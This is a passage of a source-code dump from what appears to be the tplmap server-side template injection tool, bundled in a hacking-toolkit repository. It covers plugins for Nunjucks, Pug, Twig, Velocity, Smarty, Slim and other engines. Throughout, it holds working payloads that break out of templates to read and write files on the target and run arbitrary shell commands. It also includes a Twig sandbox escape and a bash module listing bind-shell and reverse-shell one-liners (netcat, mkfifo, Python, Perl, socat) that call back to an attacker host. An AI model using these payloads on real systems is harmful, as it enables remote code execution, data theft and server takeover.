38 | { 'level': 5, 'prefix' : '%%block>', 'suffix' : '<%%block>', 'closures' : python.ctx_closures },
39 | { 'level': 5, 'prefix' : '%%text>', 'suffix' : '<%%text>', 'closures' : python.ctx_closures},
40 |
41 | ])
--------------------------------------------------------------------------------
/modules/tplmap/plugins/engines/marko.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from plugins.languages import javascript
3 | from utils.loggers import log
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Marko(javascript.Javascript):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'render': '${%(code)s}',
15 | 'header': '${"%(header)s"}',
16 | 'trailer': '${"%(trailer)s"}',
17 | },
18 | 'write' : {
19 | 'call' : 'inject',
20 | 'write' : """${require('fs').appendFileSync('%(path)s',Buffer('%(chunk_b64)s','base64'),'binary')}""",
21 | 'truncate' : """${require('fs').writeFileSync('%(path)s','')}"""
22 | },
23 | 'execute_blind' : {
24 | 'call': 'inject',
25 | 'execute_blind': """${require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')}"""
26 | },
27 | })
28 |
29 | self.set_contexts([
30 |
31 | # Text context, no closures
32 | { 'level': 0 },
33 |
34 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '${"1"', 'closures' : javascript.ctx_closures },
35 |
36 | # If escapes require to know the ending tag e.g.
37 |
38 | # This to escape from and
39 | { 'level': 2, 'prefix': '1/>', 'suffix' : '' },
40 |
41 | ])
42 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/engines/nunjucks.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from plugins.languages import javascript
3 | from utils.loggers import log
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Nunjucks(javascript.Javascript):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'render': '{{%(code)s}}',
15 | 'header': '{{%(header)s}}',
16 | 'trailer': '{{%(trailer)s}}',
17 | 'test_render': '(%(n1)s,%(n2)s*%(n3)s)|dump' % {
18 | 'n1' : rand.randints[0],
19 | 'n2' : rand.randints[1],
20 | 'n3' : rand.randints[2]
21 | },
22 | 'test_render_expected': '%(res)s' % {
23 | 'res' : rand.randints[1]*rand.randints[2]
24 | }
25 | },
26 | 'write' : {
27 | 'call' : 'inject',
28 | 'write' : """{{range.constructor("global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')")()}}""",
29 | 'truncate' : """{{range.constructor("global.process.mainModule.require('fs').writeFileSync('%(path)s', '')")()}}"""
30 | },
31 | 'read' : {
32 | 'call': 'evaluate',
33 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64')"""
34 | },
35 | 'md5' : {
36 | 'call': 'evaluate',
37 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex")"""
38 | },
39 | 'evaluate' : {
40 | 'call': 'render',
41 | 'evaluate' : """range.constructor("return eval(Buffer('%(code_b64)s','base64').toString())")()""",
42 | 'test_os': """global.process.mainModule.require('os').platform()"""
43 | },
44 | 'execute' : {
45 | 'call': 'evaluate',
46 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())"""
47 | },
48 | 'execute_blind' : {
49 | 'call': 'inject',
50 | 'execute_blind': """{{range.constructor("global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')")()}}"""
51 | },
52 | })
53 |
54 | self.set_contexts([
55 |
56 | # Text context, no closures
57 | { 'level': 0 },
58 |
59 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '{{1', 'closures' : javascript.ctx_closures },
60 | { 'level': 1, 'prefix': '%(closure)s %%}', 'suffix' : '', 'closures' : javascript.ctx_closures },
61 | { 'level': 5, 'prefix': '%(closure)s %%}{%% endfor %%}{%% for a in [1] %%}', 'suffix' : '', 'closures' : javascript.ctx_closures },
62 |
63 | # This escapes string {% set %s = 1 %}
64 | { 'level': 5, 'prefix': '%(closure)s = 1 %%}', 'suffix' : '', 'closures' : javascript.ctx_closures },
65 |
66 | # Comment blocks
67 | { 'level': 5, 'prefix' : '#}', 'suffix' : '{#' },
68 |
69 | ])
70 |
71 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/engines/pug.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote, chunkit, md5
2 | from utils.loggers import log
3 | from plugins.languages import javascript
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Pug(javascript.Javascript):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'call': 'inject',
15 | 'render': '\n= %(code)s\n',
16 | 'header': '\n= %(header)s\n',
17 | 'trailer': '\n= %(trailer)s\n',
18 | },
19 | # No evaluate_blind here, since we've no sleep, we'll use inject
20 | 'write' : {
21 | 'call' : 'inject',
22 | # Payloads calling inject must start with \n to break out already started lines
23 | 'write' : """\n- global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')
24 | """,
25 | 'truncate' : """\n- global.process.mainModule.require('fs').writeFileSync('%(path)s', '')
26 | """
27 | },
28 | 'read' : {
29 | 'call': 'render',
30 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64')"""
31 | },
32 | 'md5' : {
33 | 'call': 'render',
34 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex")"""
35 | },
36 | 'blind' : {
37 | 'call': 'execute_blind',
38 | 'test_bool_true' : 'true',
39 | 'test_bool_false' : 'false'
40 | },
41 | # Not using execute here since it's rendered and requires set headers and trailers
42 | 'execute_blind' : {
43 | 'call': 'inject',
44 | # execSync() has been introduced in node 0.11, so this will not work with old node versions.
45 | # TODO: use another function.
46 |
47 | # Payloads calling inject must start with \n to break out already started lines
48 |
49 | # It's two lines command to avoid false positive with Javascript module
50 | 'execute_blind': """
51 | - x = global.process.mainModule.require
52 | - x('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')
53 | """
54 | },
55 | 'execute' : {
56 | 'call': 'render',
57 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())"""
58 | },
59 | 'evaluate' : {
60 | 'test_os': """global.process.mainModule.require('os').platform()"""
61 | },
62 | })
63 |
64 | self.set_contexts([
65 |
66 | # Text context, no closures
67 | { 'level': 0 },
68 |
69 | # Attribute close a(href=\'%s\')
70 | { 'level': 1, 'prefix' : '%(closure)s)', 'suffix' : '//', 'closures' : { 1: javascript.ctx_closures[1] } },
71 | # String interpolation #{
72 | { 'level': 2, 'prefix' : '%(closure)s}', 'suffix' : '//', 'closures' : javascript.ctx_closures },
73 | # Code context
74 | { 'level': 2, 'prefix' : '%(closure)s\n', 'suffix' : '//', 'closures' : javascript.ctx_closures },
75 | ])
76 |
77 | language = 'javascript'
78 |
79 |
80 |
81 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/engines/slim.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from plugins.languages import ruby
3 | from utils.loggers import log
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Slim(ruby.Ruby):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'render': '"#{%(code)s}"',
15 | 'header': """=('%(header)s'+""",
16 | 'trailer': """+'%(trailer)s')""",
17 | },
18 | 'write' : {
19 | 'call' : 'inject',
20 | 'write': """=(require'base64';File.open('%(path)s', 'ab+') {|f| f.write(Base64.urlsafe_decode64('%(chunk_b64)s')) })""",
21 | 'truncate' : """=(File.truncate('%(path)s', 0))"""
22 | },
23 | 'evaluate_blind' : {
24 | 'call': 'inject',
25 | 'evaluate_blind': """=(require'base64';eval(Base64.urlsafe_decode64('%(code_b64)s'))&&sleep(%(delay)i))"""
26 | },
27 | 'execute_blind' : {
28 | 'call': 'inject',
29 | 'execute_blind': """=(require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')+' && sleep %(delay)i'}))"""
30 | },
31 | })
32 |
33 | self.set_contexts([
34 |
35 | # Text context, no closures
36 | { 'level': 0 },
37 |
38 | # TODO: add contexts
39 |
40 | ])
41 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/engines/smarty.py:
--------------------------------------------------------------------------------
1 | from plugins.languages import php
2 | from utils.loggers import log
3 | from utils import rand
4 | from utils.strings import quote
5 | import base64
6 | import re
7 |
8 | class Smarty(php.Php):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'render': '%(code)s',
15 | 'header': '{%(header)s}',
16 | 'trailer': '{%(trailer)s}',
17 | 'test_render': """{%(r1)s}{*%(comment)s*}{%(r2)s}""" % {
18 | 'r1' : rand.randints[0],
19 | 'comment' : rand.randints[1],
20 | 'r2' : rand.randints[2]
21 | },
22 | 'test_render_expected': '%(r1)s%(r2)s' % {
23 | 'r1' : rand.randints[0],
24 | 'r2' : rand.randints[2]
25 | }
26 | },
27 | 'evaluate' : {
28 | 'call': 'render',
29 | 'evaluate': """{php}%(code)s{/php}"""
30 | },
31 | 'evaluate_blind' : {
32 | 'call': 'inject',
33 | 'evaluate_blind': """{php}$d="%(code_b64)s";eval("return (" . base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)) . ") && sleep(%(delay)i);");{/php}"""
34 | },
35 | 'execute_blind' : {
36 | 'call': 'inject',
37 | 'execute_blind': """{php}$d="%(code_b64)s";system(base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)). " && sleep %(delay)i");{/php}"""
38 | },
39 |
40 | })
41 |
42 | self.set_contexts([
43 |
44 | # Text context, no closures
45 | { 'level': 0 },
46 |
47 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '{', 'closures' : php.ctx_closures },
48 |
49 | # {config_load file="missing_file"} raises an exception
50 |
51 | # Escape Ifs
52 | { 'level': 5, 'prefix': '%(closure)s}{/if}{if 1}', 'suffix' : '', 'closures' : php.ctx_closures },
53 |
54 | # Escape {assign var="%s" value="%s"}
55 | { 'level': 5, 'prefix': '%(closure)s var="" value=""}{assign var="" value=""}', 'suffix' : '', 'closures' : php.ctx_closures },
56 |
57 | # Comments
58 | { 'level': 5, 'prefix': '*}', 'suffix' : '{*' },
59 |
60 | ])
--------------------------------------------------------------------------------
/modules/tplmap/plugins/engines/tornado.py:
--------------------------------------------------------------------------------
1 | from plugins.languages import python
2 | from utils.loggers import log
3 | from utils import rand
4 | import re
5 |
6 | class Tornado(python.Python):
7 |
8 | def init(self):
9 |
10 | self.update_actions({
11 | 'render' : {
12 | 'render': '{{%(code)s}}',
13 | 'header': '{{%(header)s}}',
14 | 'trailer': '{{%(trailer)s}}',
15 | 'test_render': """'%(s1)s'}}{%% raw '%(s1)s'.join('%(s2)s') %%}{{'%(s2)s'""" % {
16 | 's1' : rand.randstrings[0],
17 | 's2' : rand.randstrings[1]
18 | },
19 | 'test_render_expected': '%(res)s' % {
20 | 'res' : rand.randstrings[0] + rand.randstrings[0].join(rand.randstrings[1]) + rand.randstrings[1]
21 | }
22 | }
23 | })
24 |
25 | self.set_contexts([
26 |
27 | # Text context, no closures
28 | { 'level': 0 },
29 |
30 | # This covers {{%s}}
31 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '', 'closures' : python.ctx_closures },
32 |
33 | # This covers {% %s %}
34 | { 'level': 1, 'prefix': '%(closure)s%%}', 'suffix' : '', 'closures' : python.ctx_closures },
35 |
36 | # Comment blocks
37 | { 'level': 5, 'prefix' : '#}', 'suffix' : '{#' },
38 | ])
39 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/engines/twig.py:
--------------------------------------------------------------------------------
1 | from utils.loggers import log
2 | from plugins.languages import php
3 | from plugins.languages import bash
4 | from utils import rand
5 | import string
6 |
7 | class Twig(php.Php):
8 |
9 | def init(self):
10 |
11 | # The vulnerable versions <1.20.0 allows to map the getFilter() function
12 | # to any PHP function, allowing the sandbox escape.
13 |
14 | # Only functions with 1 parameter can be mapped and eval()/assert() functions are not
15 | # allowed. For this reason, most of the stuff is done by exec() insted of eval()-like code.
16 |
17 | self.update_actions({
18 | 'render' : {
19 | 'render': '{{%(code)s}}',
20 | 'header': '{{%(header)s}}',
21 | 'trailer': '{{%(trailer)s}}',
22 | # {{7*'7'}} and a{#b#}c work in freemarker as well
23 | # {%% set a=%i*%i %%}{{a}} works in Nunjucks as well
24 | 'test_render': '"%(s1)s\n"|nl2br' % {
25 | 's1' : rand.randstrings[0]
26 | },
27 | 'test_render_expected': '%(res)s
' % {
28 | 'res' : rand.randstrings[0]
29 | }
30 | },
31 | 'write' : {
32 | 'call' : 'inject',
33 | 'write' : """{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("bash -c '{tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s'")}}""",
34 | 'truncate' : """{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("echo -n >%(path)s")}}"""
35 | },
36 | # Hackish way to evaluate PHP code
37 | 'evaluate' : {
38 | 'call': 'execute',
39 | 'evaluate': """php -r '$d="%(code_b64)s";eval(base64_decode(str_pad(strtr($d,"-_","+/"),strlen($d)%%4,"=",STR_PAD_RIGHT)));'""",
40 | 'test_os' : 'echo PHP_OS;',
41 | 'test_os_expected': '^[\w-]+$'
42 | },
43 | 'execute' : {
44 | 'call': 'render',
45 | 'execute': """_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("bash -c '{eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}'")""",
46 | 'test_cmd': bash.echo % { 's1': rand.randstrings[2] },
47 | 'test_cmd_expected': rand.randstrings[2]
48 | },
49 | 'execute_blind' : {
50 | 'call': 'inject',
51 | 'execute_blind': """{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("bash -c '{eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}'")}}"""
52 | },
53 | 'evaluate_blind' : {
54 | 'call': 'execute',
55 | 'evaluate_blind': """php -r '$d="%(code_b64)s";eval("return (" . base64_decode(str_pad(strtr($d, "-_", "+/"), strlen($d)%%4,"=",STR_PAD_RIGHT)) . ") && sleep(%(delay)i);");'"""
56 | },
57 | })
58 |
59 | self.set_contexts([
60 |
61 | # Text context, no closures
62 | { 'level': 0 },
63 |
64 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '{{1', 'closures' : php.ctx_closures },
65 | { 'level': 1, 'prefix': '%(closure)s %%}', 'suffix' : '', 'closures' : php.ctx_closures },
66 | { 'level': 5, 'prefix': '%(closure)s %%}{%% endfor %%}{%% for a in [1] %%}', 'suffix' : '', 'closures' : php.ctx_closures },
67 |
68 | # This escapes string "inter#{"asd"}polation"
69 | #{ 'level': 5, 'prefix': '%(closure)s}', 'suffix' : '', 'closures' : php.ctx_closures },
70 |
71 | # This escapes string {% set %s = 1 %}
72 | { 'level': 5, 'prefix': '%(closure)s = 1 %%}', 'suffix' : '', 'closures' : php.ctx_closures },
73 |
74 | ])
75 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/engines/velocity.py:
--------------------------------------------------------------------------------
1 | from utils.loggers import log
2 | from plugins.languages import java
3 | from utils import rand
4 | from utils.strings import quote
5 | import re
6 |
7 | class Velocity(java.Java):
8 |
9 | def init(self):
10 |
11 | self.update_actions({
12 | 'render' : {
13 | 'render': '%(code)s',
14 | 'header': '\n#set($h=%(header)s)\n${h}\n',
15 | 'trailer': '\n#set($t=%(trailer)s)\n${t}\n',
16 | 'test_render': '#set($c=%(n1)s*%(n2)s)\n${c}\n' % {
17 | 'n1' : rand.randints[0],
18 | 'n2' : rand.randints[1]
19 | },
20 | 'test_render_expected': '%(res)s' % {
21 | 'res' : rand.randints[0]*rand.randints[1]
22 | }
23 | },
24 | 'write' : {
25 | 'call' : 'inject',
26 | 'write' : """#set($engine="")
27 | #set($run=$engine.getClass().forName("java.lang.Runtime"))
28 | #set($runtime=$run.getRuntime())
29 | #set($proc=$runtime.exec("bash -c {tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s"))
30 | #set($null=$proc.waitFor())
31 | #set($istr=$proc.getInputStream())
32 | #set($chr=$engine.getClass().forName("java.lang.Character"))
33 | #set($output="")
34 | #set($string=$engine.getClass().forName("java.lang.String"))
35 | #foreach($i in [1..$istr.available()])
36 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
37 | #end
38 | ${output}
39 | """,
40 | 'truncate' : """#set($engine="")
41 | #set($run=$engine.getClass().forName("java.lang.Runtime"))
42 | #set($runtime=$run.getRuntime())
43 | #set($proc=$runtime.exec("bash -c {echo,-n,}>%(path)s"))
44 | #set($null=$proc.waitFor())
45 | #set($istr=$proc.getInputStream())
46 | #set($chr=$engine.getClass().forName("java.lang.Character"))
47 | #set($output="")
48 | #set($string=$engine.getClass().forName("java.lang.String"))
49 | #foreach($i in [1..$istr.available()])
50 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
51 | #end
52 | ${output}
53 | """
54 | },
55 | 'execute' : {
56 |
57 | # This payload cames from henshin's contribution on
58 | # issue #9.
59 |
60 | 'call': 'render',
61 | 'execute': """#set($engine="")
62 | #set($run=$engine.getClass().forName("java.lang.Runtime"))
63 | #set($runtime=$run.getRuntime())
64 | #set($proc=$runtime.exec("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}"))
65 | #set($null=$proc.waitFor())
66 | #set($istr=$proc.getInputStream())
67 | #set($chr=$engine.getClass().forName("java.lang.Character"))
68 | #set($output="")
69 | #set($string=$engine.getClass().forName("java.lang.String"))
70 | #foreach($i in [1..$istr.available()])
71 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
72 | #end
73 | ${output}
74 | """
75 | },
76 | 'execute_blind' : {
77 | 'call': 'inject',
78 | 'execute_blind': """#set($engine="")
79 | #set($run=$engine.getClass().forName("java.lang.Runtime"))
80 | #set($runtime=$run.getRuntime())
81 | #set($proc=$runtime.exec("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}"))
82 | #set($null=$proc.waitFor())
83 | #set($istr=$proc.getInputStream())
84 | #set($chr=$engine.getClass().forName("java.lang.Character"))
85 | #set($output="")
86 | #set($string=$engine.getClass().forName("java.lang.String"))
87 | #foreach($i in [1..$istr.available()])
88 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
89 | #end
90 | ${output}
91 | """
92 | }
93 | })
94 |
95 | self.set_contexts([
96 |
97 | # Text context, no closures
98 | { 'level': 0 },
99 |
100 | { 'level': 1, 'prefix': '%(closure)s)', 'suffix' : '', 'closures' : java.ctx_closures },
101 |
102 | # This catches
103 | # #if(%s == 1)\n#end
104 | # #foreach($item in %s)\n#end
105 | # #define( %s )a#end
106 | { 'level': 3, 'prefix': '%(closure)s#end#if(1==1)', 'suffix' : '', 'closures' : java.ctx_closures },
107 | { 'level': 5, 'prefix': '*#', 'suffix' : '#*' },
108 |
109 | ])
--------------------------------------------------------------------------------
/modules/tplmap/plugins/languages/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SecHackLabs/webhackshl-termux/8dc6a824bf58794684e450d388c098f00e68dc0a/modules/tplmap/plugins/languages/__init__.py
--------------------------------------------------------------------------------
/modules/tplmap/plugins/languages/bash.py:
--------------------------------------------------------------------------------
1 |
2 | echo = """echo '%(s1)s'"""
3 |
4 | bind_shell = [
5 | """python -c 'import pty,os,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("", %(port)s));s.listen(1);(rem, addr) = s.accept();os.dup2(rem.fileno(),0);os.dup2(rem.fileno(),1);os.dup2(rem.fileno(),2);pty.spawn("%(shell)s");s.close()'""",
6 | """nc -l -p %(port)s -e %(shell)s""",
7 | """rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|%(shell)s -i 2>&1|nc -l %(port)s >/tmp/f; rm -rf /tmp/f""",
8 | """socat tcp-l:%(port)s exec:%(shell)s"""
9 | ]
10 |
11 | reverse_shell = [
12 | """sleep 1; rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|%(shell)s -i 2>&1|nc %(host)s %(port)s >/tmp/f""",
13 | """sleep 1; nc -e %(shell)s %(host)s %(port)s""",
14 | """sleep 1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%(host)s",%(port)s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["%(shell)s","-i"]);'""",
15 | "sleep 1; /bin/bash -c \'%(shell)s 0&0 2>&0\'",
16 | """perl -e 'use Socket;$i="%(host)s";$p=%(port)s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("%(shell)s -i");};'""",
17 | # TODO: ruby payload's broken, fix it.
18 | # """ruby -rsocket -e'f=TCPSocket.open("%(host)s",%(port)s).to_i;exec sprintf("%(shell)s -i <&%%d >&%%d 2>&%%d",f,f,f)'""",
19 | """sleep 1; python -c 'import socket,pty,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%(host)s",%(port)s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn("%(shell)s");'""",
20 | ]
--------------------------------------------------------------------------------
/modules/tplmap/plugins/languages/java.py:
--------------------------------------------------------------------------------
1 | from core.plugin import Plugin
2 | from plugins.languages import bash
3 | from utils import closures
4 | from utils import rand
5 | import re
6 |
7 | class Java(Plugin):
8 |
9 | def language_init(self):
10 |
11 | self.update_actions({
12 |
13 | 'execute' : {
14 | 'test_cmd': bash.echo % { 's1': rand.randstrings[2] },
15 | 'test_cmd_expected': rand.randstrings[2],
16 | 'test_os' : """uname""",
17 | 'test_os_expected': '^[\w-]+$'
18 | },
19 |
20 | 'read' : {
21 | 'call': 'execute',
22 | 'read' : """base64<'%(path)s'"""
23 | },
24 | 'md5' : {
25 | 'call': 'execute',
26 | 'md5': """$(type -p md5 md5sum)<'%(path)s'|head -c 32"""
27 | },
28 | # Prepared to used only for blind detection. Not useful for time-boolean
29 | # tests (since && characters can\'t be used) but enough for the detection phase.
30 | 'blind' : {
31 | 'call': 'execute_blind',
32 | 'test_bool_true' : 'true',
33 | 'test_bool_false' : 'false'
34 | },
35 | 'bind_shell' : {
36 | 'call' : 'execute_blind',
37 | 'bind_shell': bash.bind_shell
38 | },
39 | 'reverse_shell' : {
40 | 'call': 'execute_blind',
41 | 'reverse_shell' : bash.reverse_shell
42 | }
43 | })
44 |
45 | language = 'java'
46 |
47 | def rendered_detected(self):
48 |
49 | # Java has no eval() function, hence the checks are done using
50 | # the command execution action.
51 |
52 | test_cmd_code = self.actions.get('execute', {}).get('test_cmd')
53 | test_cmd_code_expected = self.actions.get('execute', {}).get('test_cmd_expected')
54 |
55 | if (
56 | test_cmd_code and
57 | test_cmd_code_expected and
58 | test_cmd_code_expected == self.execute(test_cmd_code)
59 | ):
60 | self.set('execute', True)
61 | self.set('write', True)
62 | self.set('read', True)
63 | self.set('bind_shell', True)
64 | self.set('reverse_shell', True)
65 |
66 | test_os_code = self.actions.get('execute', {}).get('test_os')
67 | test_os_code_expected = self.actions.get('execute', {}).get('test_os_expected')
68 |
69 | if test_os_code and test_os_code_expected:
70 |
71 | os = self.execute(test_os_code)
72 | if os and re.search(test_os_code_expected, os):
73 | self.set('os', os)
74 |
75 | def blind_detected(self):
76 |
77 | # No blind code evaluation is possible here, only execution
78 |
79 | # Since execution has been used to detect blind injection,
80 | # let's assume execute_blind as set.
81 | self.set('execute_blind', True)
82 | self.set('write', True)
83 | self.set('bind_shell', True)
84 | self.set('reverse_shell', True)
85 |
86 |
87 | ctx_closures = {
88 | 1: [
89 | closures.close_single_duble_quotes + closures.integer,
90 | closures.close_function + closures.empty
91 | ],
92 | 2: [
93 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var,
94 | closures.close_function + closures.empty
95 | ],
96 | 3: [
97 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var,
98 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
99 | ],
100 | 4: [
101 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var,
102 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
103 | ],
104 | 5: [
105 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var + closures.iterable_var,
106 | closures.close_function + closures.close_list + closures.close_dict + closures.empty,
107 | closures.close_function + closures.close_list + closures.empty,
108 | ]
109 | }
110 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/languages/javascript.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote, chunkit, md5
2 | from utils.loggers import log
3 | from plugins.languages import bash
4 | from utils import closures
5 | from core.plugin import Plugin
6 | from utils import rand
7 | import base64
8 | import re
9 |
10 |
11 | class Javascript(Plugin):
12 |
13 | def language_init(self):
14 |
15 | self.update_actions({
16 | 'render' : {
17 | 'call': 'inject',
18 | 'render': """%(code)s""",
19 | 'header': """'%(header)s'+""",
20 | 'trailer': """+'%(trailer)s'""",
21 | 'test_render': 'typeof(%(r1)s)+%(r2)s' % {
22 | 'r1' : rand.randints[0],
23 | 'r2' : rand.randints[1]
24 | },
25 | 'test_render_expected': 'number%(r2)s' % {
26 | 'r2' : rand.randints[1]
27 | }
28 | },
29 | # No evaluate_blind here, since we've no sleep, we'll use inject
30 | 'write' : {
31 | 'call' : 'inject',
32 | 'write' : """require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')//""",
33 | 'truncate' : """require('fs').writeFileSync('%(path)s', '')"""
34 | },
35 | 'read' : {
36 | 'call': 'render',
37 | 'read' : """require('fs').readFileSync('%(path)s').toString('base64')"""
38 | },
39 | 'md5' : {
40 | 'call': 'render',
41 | 'md5': """require('crypto').createHash('md5').update(require('fs').readFileSync('%(path)s')).digest("hex")"""
42 | },
43 | 'evaluate' : {
44 | 'call': 'render',
45 | 'evaluate': """eval(Buffer('%(code_b64)s', 'base64').toString())""",
46 | 'test_os': """require('os').platform()""",
47 | 'test_os_expected': '^[\w-]+$',
48 | },
49 | 'blind' : {
50 | 'call': 'execute_blind',
51 | 'test_bool_true' : 'true',
52 | 'test_bool_false' : 'false'
53 | },
54 | # Not using execute here since it's rendered and requires set headers and trailers
55 | 'execute_blind' : {
56 | 'call': 'inject',
57 | # execSync() has been introduced in node 0.11, so this will not work with old node versions.
58 | # TODO: use another function.
59 | 'execute_blind': """require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')//"""
60 | },
61 | 'execute' : {
62 | 'call': 'render',
63 | 'execute': """require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())""",
64 | 'test_cmd': bash.echo % { 's1': rand.randstrings[2] },
65 | 'test_cmd_expected': rand.randstrings[2]
66 | },
67 | 'bind_shell' : {
68 | 'call' : 'execute_blind',
69 | 'bind_shell': bash.bind_shell
70 | },
71 | 'reverse_shell' : {
72 | 'call': 'execute_blind',
73 | 'reverse_shell' : bash.reverse_shell
74 | }
75 | })
76 |
77 | self.set_contexts([
78 |
79 | # Text context, no closures
80 | { 'level': 0 },
81 |
82 | # This terminates the statement with ;
83 | { 'level': 1, 'prefix' : '%(closure)s;', 'suffix' : '//', 'closures' : ctx_closures },
84 |
85 | # This does not need termination e.g. if(%s) {}
86 | { 'level': 2, 'prefix' : '%(closure)s', 'suffix' : '//', 'closures' : ctx_closures },
87 |
88 | # Comment blocks
89 | { 'level': 5, 'prefix' : '*/', 'suffix' : '/*' },
90 |
91 | ])
92 |
93 | language = 'javascript'
94 |
95 | ctx_closures = {
96 | 1: [
97 | closures.close_single_duble_quotes + closures.integer,
98 | closures.close_function + closures.empty
99 | ],
100 | 2: [
101 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
102 | closures.close_function + closures.empty
103 | ],
104 | 3: [
105 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
106 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
107 | ],
108 | 4: [
109 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
110 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
111 | ],
112 | 5: [
113 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
114 | closures.close_function + closures.close_list + closures.close_dict + closures.empty,
115 | closures.close_function + closures.close_list + closures.empty,
116 | ],
117 | }
118 |
119 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/languages/php.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote, chunkit, md5
2 | from utils.loggers import log
3 | from plugins.languages import bash
4 | from core.plugin import Plugin
5 | from utils import closures
6 | from utils import rand
7 | import base64
8 | import re
9 |
10 |
11 | class Php(Plugin):
12 |
13 |
14 | def language_init(self):
15 |
16 | self.update_actions({
17 | 'render' : {
18 | 'call': 'inject',
19 | 'render': """%(code)s""",
20 | 'header': """print_r('%(header)s');""",
21 | 'trailer': """print_r('%(trailer)s');""",
22 | 'test_render': 'print(%(r1)s);' % {
23 | 'r1' : rand.randints[0]
24 | },
